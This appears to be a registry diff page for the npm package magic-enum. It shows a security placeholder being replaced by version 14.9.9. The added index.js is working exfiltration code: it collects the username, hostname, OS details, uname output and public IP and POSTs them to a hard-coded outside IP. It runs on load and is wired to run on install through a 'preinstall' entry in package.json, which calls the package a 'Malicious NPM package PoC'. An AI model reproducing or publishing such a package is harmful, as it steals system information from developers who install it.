magic-enum 0.0.1-security → 14.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of magic-enum might be problematic. Click here for more details.
- package/index.js +85 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,85 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
const exec = require('child_process').exec;
|
4
|
+
|
5
|
+
// Function to get public IP of the system
|
6
|
+
function getPublicIP(callback) {
|
7
|
+
https.get('https://api64.ipify.org?format=json', (res) => {
|
8
|
+
let data = '';
|
9
|
+
res.on('data', chunk => { data += chunk; });
|
10
|
+
res.on('end', () => {
|
11
|
+
try {
|
12
|
+
const ipInfo = JSON.parse(data);
|
13
|
+
callback(ipInfo.ip);
|
14
|
+
} catch (error) {
|
15
|
+
callback('Unknown');
|
16
|
+
}
|
17
|
+
});
|
18
|
+
}).on('error', () => {
|
19
|
+
callback('Unknown');
|
20
|
+
});
|
21
|
+
}
|
22
|
+
|
23
|
+
// Get system information
|
24
|
+
function getSystemInfo() {
|
25
|
+
return new Promise((resolve, reject) => {
|
26
|
+
exec('uname -a', (err, stdout, stderr) => {
|
27
|
+
if (err) {
|
28
|
+
reject('Error getting system info');
|
29
|
+
} else {
|
30
|
+
resolve({
|
31
|
+
username: os.userInfo().username,
|
32
|
+
hostname: os.hostname(),
|
33
|
+
os: os.type() + " " + os.release(),
|
34
|
+
architecture: os.arch(),
|
35
|
+
platform: os.platform(),
|
36
|
+
uptime: os.uptime(),
|
37
|
+
public_ip: 'Unknown', // Placeholder for public IP
|
38
|
+
uname: stdout.trim() // Collect the result of uname -a
|
39
|
+
});
|
40
|
+
}
|
41
|
+
});
|
42
|
+
});
|
43
|
+
}
|
44
|
+
|
45
|
+
// Send system information to your listener server
|
46
|
+
async function sendSystemInfo() {
|
47
|
+
try {
|
48
|
+
const systemData = await getSystemInfo();
|
49
|
+
|
50
|
+
// Fetch public IP and add it to the system data
|
51
|
+
getPublicIP((publicIP) => {
|
52
|
+
systemData.public_ip = publicIP;
|
53
|
+
|
54
|
+
// Prepare data to send
|
55
|
+
const data = JSON.stringify(systemData);
|
56
|
+
|
57
|
+
const options = {
|
58
|
+
hostname: '65.0.127.249', // Listener server IP
|
59
|
+
port: 4777, // Port to send data to
|
60
|
+
path: '/collect',
|
61
|
+
method: 'POST',
|
62
|
+
headers: {
|
63
|
+
'Content-Type': 'application/json',
|
64
|
+
'Content-Length': data.length
|
65
|
+
}
|
66
|
+
};
|
67
|
+
|
68
|
+
const req = https.request(options, (res) => {
|
69
|
+
console.log(`Response from listener: ${res.statusCode}`);
|
70
|
+
});
|
71
|
+
|
72
|
+
req.on('error', (error) => {
|
73
|
+
console.error('Error sending data:', error);
|
74
|
+
});
|
75
|
+
|
76
|
+
req.write(data);
|
77
|
+
req.end();
|
78
|
+
});
|
79
|
+
} catch (error) {
|
80
|
+
console.error('Error getting system info:', error);
|
81
|
+
}
|
82
|
+
}
|
83
|
+
|
84
|
+
// Trigger the function to send system information
|
85
|
+
sendSystemInfo();
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "magic-enum",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "14.9.9",
|
4
|
+
"description": "Malicious NPM package PoC",
|
5
|
+
"main": "index.js",
|
6
|
+
"preinstall": "node index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "Security Researcher",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"magic-enum": "^12.9.9"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=magic-enum for more information.
|